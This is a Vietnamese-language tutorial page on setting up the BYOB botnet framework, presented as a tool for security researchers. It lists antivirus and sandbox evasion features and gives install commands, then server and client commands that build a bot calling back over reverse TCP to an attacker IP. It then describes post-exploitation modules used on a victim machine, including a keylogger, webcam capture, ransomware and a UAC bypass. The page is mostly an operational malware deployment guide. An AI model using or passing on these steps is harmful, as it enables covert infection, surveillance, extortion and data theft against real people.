Computer >> Hướng Dẫn Máy Tính >  >> Lập Trình >> Python

Xây dựng Botnet của riêng bạn (BYOB)


BYOB cung cấp khung làm việc cho nhà nghiên cứu bảo mật và lập trình viên để xây dựng và vận hành một botnet cơ bản, nhằm hiểu sâu hơn về phần mềm độc hại tinh vi lây nhiễm hàng triệu thiết bị mỗi năm và sinh ra các botnet hiện đại, từ đó cải thiện khả năng phát triển biện pháp đối phó. Nó được thiết kế để lập trình viên dễ dàng triển khai mã riêng và thêm tính năng mới mà không cần viết RAT hay máy chủ Command & Control từ đầu.

Tính năng

  • Không ghi gì lên đĩa – client không bao giờ ghi file tạm, vì remote import cho phép nạp mã tùy ý vào bộ nhớ và import trực tiếp vào tiến trình đang chạy.
  • Độc lập nền tảng – toàn bộ viết bằng Python, client có thể biên dịch thành file thực thi portable (Windows) hoặc gói thành ứng dụng độc lập.
  • Vượt tường lửa – client kết nối đến server C&C qua kết nối TCP ngược (reverse TCP), vượt qua hầu hết tường lửa vì cấu hình mặc định chặn kết nối đến.
  • Chống phân tích antivirus – chặn các tiến trình có tên phần mềm antivirus đã biết để tránh bị phân tích.
  • Mã hóa tải trọng ngăn phân tích – tải trọng chính được mã hóa bằng khóa 256-bit ngẫu nhiên chỉ tồn tại trong payload stager đi kèm.
  • Ngăn reverse engineering – mặc định client tự hủy nếu phát hiện máy ảo hoặc sandbox.

Cách cài đặt

  • git clone https://github.com/malwaredllc/byob.git
  • cd byob
  • pip install -r requirements.txt
  • python setup.py

    Sử dụng hai terminal: terminal 1 chạy Bot Server xử lý phiên, terminal 2 chạy Bot Client tạo bot.

  • python server.py --port 445
  • Mở terminal khác, cd /home/cybersecurity/Downloads/byob/byob
  • python client.py --name testbot.py 192.168.1.10(ip tấn công) 445

Sau khi chạy lệnh trên, một botnet mới được tạo. Khi testbot.py chạy trên máy mục tiêu, một phiên sẽ được tạo trên server botnet.

Sau khai thác (Post-exploitation)

Các mô-đun post-exploitation có thể import từ xa bởi client sau khi cấu hình botnet thành công trên máy nạn nhân:

  • Keylogger (byob.modules.keylogger): ghi phím bấm và tên cửa sổ.
  • Screenshot (byob.modules.screenshot): chụp màn hình desktop.
  • Webcam (byob.modules.webcam): xem trực tiếp hoặc chụp ảnh/video từ webcam.
  • Ransom (byob.modules.ransom): mã hóa file & tạo ví BTC ngẫu nhiên để đòi tiền chuộc.
  • Packet Sniffer (byob.modules.packetsniffer): chạy sniffer trên mạng & tải file .pcap.
  • Persistence (byob.modules.persistence): thiết lập persistence trên máy chủ.
  • Phone (byob.modules.phone): đọc/tìm/tải tin nhắn từ smartphone.
  • Escalate Privileges (byob.modules.escalate): thử bypass UAC để lấy quyền admin.
  • Port Scanner (byob.modules.portscanner): quét mạng cục bộ tìm thiết bị online & cổng mở.
  • Process Control (byob.modules.process): liệt kê/tìm/kill/giám sát tiến trình đang chạy.